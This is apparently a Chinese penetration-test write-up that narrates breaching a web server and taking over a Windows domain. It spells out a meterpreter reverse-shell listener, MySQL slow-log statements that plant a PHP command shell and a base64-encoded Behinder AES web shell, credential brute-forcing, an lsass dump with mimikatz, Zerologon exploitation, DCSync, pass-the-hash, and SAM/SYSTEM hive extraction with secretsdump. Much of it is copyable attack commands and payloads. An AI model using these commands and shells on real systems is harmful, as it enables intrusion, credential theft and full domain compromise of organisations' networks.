上传到web上,本地msf监听一下:
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp show options set LHOST 1.1.1.1 set LPORT 23333 run
在web的命令行下给linux.elf添加执行权限后直接运行,即可获取到meterpreter。然后再添加一下路由:
使用17-010扫描模块跑一下:
未扫到任何漏洞,怀疑是不是哪里有问题,本地代理用工具再跑一次:
确实不存在,这补丁确实都打了,白忙活了一场。想到之前还有个数据库的连接串还没利用,可能还有点搞头。由于之前代理过了,直接使用navicat连接数据库,查看一下mysql版本是5.7:
由于secure-file-priv的存在,无法尝试提权。nmap扫描了一下数据库的ip地址,发现8090端口还存在一个php系统,服务器是server。于是先查询一下mysql的数据库文件路径,发现不是phpstudy或者wamp等软件一键搭建的:可要想获取shell,前提要得到web路径,才能写入木马,通过web报错页面、目录扫描都未获取到。于是开始尝试一下IIS的默认路径c:\Inetpub\wwwroot\,写入后访问不到。想到mysql是放在d盘下,因此尝试d盘的d:\www、d:\Inetpub\wwwroot\、d:\data等路径,都没访问到,最终随手测了下d:\web,竟成功写入。通过mysql慢日志写shell过程如下:
set global slow_query_log='ON'; set global slow_query_log_file='D:/web/cmd.php'; select '<?php echo system($_GET[123]);?>' or sleep(11); set global slow_query_log='OFF';
由于存在杀软,普通的一句话木马直接被杀,因此重新写入一个冰蝎的马:
set global slow_query_log='ON'; set global slow_query_log_file='D:/web/t.php'; select '<?php file_put_contents(".1.php",base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7CiA/PiA="));?>' or sleep(11); set global slow_query_log='OFF';
写入后直接访问t.php,重新生成.1.php的冰蝎马,直接连接:
查看一下系统权限,有点低:
查看一下ip地址:
由于是该台服务器server2012,无法直接获取windows密码,且存在国外某某科技的杀软,已有的提权工具都被杀了,技术不行绕不过,还是换个思路。
于是,开始翻找文件,看是否会有敏感信息。在服务器上发现多套源码,在其中的一个文件里发现了配置信息:
尝试连接数据库,失败!!
通过这收集到的密码,再做成密码字典,开始爆破C段的RDP、mysql、sqlserver、ftp等服务:
爆破后,发现是当前服务器的administrator密码,通过之前的端口信息收集发现开放了3389端口,可以远程登录。
还是继续进行信息收集,查看当前服务器是否是域内机器,若存在域就相对好很多。执行:
net time /domain
发现是存在域的。查看一下域控机器:
net group "domain controllers" /domain
获取一下域控的IP地址:
目前知道当前的机器在域内,并有了服务器的管理员权限。可以尝试通过导出hash的方式获取域账号信息,再进行PTH。因此,直接远程连接,右键导出lsass.exe进程的dump文件,再上传免杀的mimikatz进行读取,但最终读取失败:
看来只能通过其他方法了,联想到前不久爆出的NetLogon权限提升漏洞,可以尝试一下,毕竟时间过得不久,可能都还没打补丁。
使用github上的搜到的脚本尝试一下,先验证是否存在漏洞:
python3 zerologon_tester.py DC 10.100.1.231
返回success,表示存在漏洞。
使用cve-2020-1472-exploit.py将机器账户重置:
使用DCSync导出域内所有用户凭据:
通过wmic进行pass the hash,可拿到域控制器中的管理员权限:
至此,已经拿到核心权限了,截了个图,赶紧恢复一下机器账号的密码,不然脱域问题就大了。
先导出SAM数据库文件,下载回来后,记得删除:
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save
通过sam等文件获得原ntlm hash:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
通过获取到的$MACHINE.ACC账户的hash,进行恢复: